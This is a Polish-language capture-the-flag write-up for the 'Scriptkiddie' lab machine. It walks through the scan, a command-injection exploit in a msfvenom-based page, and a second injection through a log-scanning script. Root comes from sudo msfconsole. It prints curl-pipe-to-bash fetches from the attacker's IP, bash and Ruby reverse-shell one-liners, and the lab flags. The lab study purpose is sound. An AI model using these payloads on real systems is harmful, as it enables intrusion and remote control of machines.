Scriptkiddie - 30.08.2021
NMap
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 3c:65:6b:c2:df:b9:9d:62:74:27:a7:b8:a9:d3:25:2c (RSA)
| 256 b9:a1:78:5d:3c:1b:25:e0:3c:ef:67:8d:71:d3:a3:ec (ECDSA)
|_ 256 8b:cf:41:82:c6:ac:ef:91:80:37:7c:c9:45:11:e8:43 (ED25519)
5000/tcp open http Werkzeug httpd 0.16.1 (Python 3.8.5)
|_http-server-header: Werkzeug/0.16.1 Python/3.8.5
|_http-title: k1d'5 h4ck3r t00l5
Strona główna
Searchsploit
Można spróbować wykorzystać sam msfvenom, który jest używany przez stronę, ten exploit umożliwa wykonywanie komend.
payload = 'curl http://10.10.14.23:8081/test.sh|bash'
Jak widać, serwer próbuje pobrać plik test.sh. Teraz wystarczy umieścić tam kod reverse shella na ustalony port.
np.bash -i >& /dev/tcp/10.10.14.23/4444 0>&1
Momentalnie otrzymany został shell.
user.txt
f7bf63abec2ca5fd2f15cc7865ced787
Użytkownicy:
kid
pwn
scanlosers.sh
#!/bin/bash
log=/home/kid/logs/hackers
cd /home/pwn/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
done
if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi
Program zczytuje z pliku hackers adresy ip, które wpisały w polu na stronie znaki niedozwolone. Można to wykorzystać.
Plan działania to command injection w miejsce zmiennych ip
cut -d ' ' ucina po spacjach, więc potrzebne będą słowa “zapychacze”. Wykorzystać można poprzedni plik test.sh z reverse shellem.
echo "slowo1 slowo2 ;curl http://10.10.14.23:8081/test.sh|bash #" > hackers
Otrzymany shell:
Privilege Escalation
Teraz należy z użytkownika pwn stać się rootem.
sudo -l
Matching Defaults entries for pwn on scriptkiddie:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User pwn may run the following commands on scriptkiddie:
(root) NOPASSWD: /opt/metasploit-framework-6.0.9/msfconsole
Prosta droga do roota
sudo msfconsole W TEORII JUŻ JEST POSIADANY ROOT I MOŻNA ODCZYTAĆ FLAGĘ, ALE DLA CZYTELNOŚCI MOŻNA STWORZYĆ NOWY SHELL
ruby -rsocket -e'exit if fork;c=TCPSocket.new("10.0.0.1","4242");loop{c.gets.chomp!;(exit! if $_=="exit");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts "failed: #{$_}"}'
EDIT:
WYSTARCZYŁO WPISAĆ /bin/sh
albo irb
(interaktywny shell ruby)
root.txt
ec819f96c8890d12009470ee5e8907a7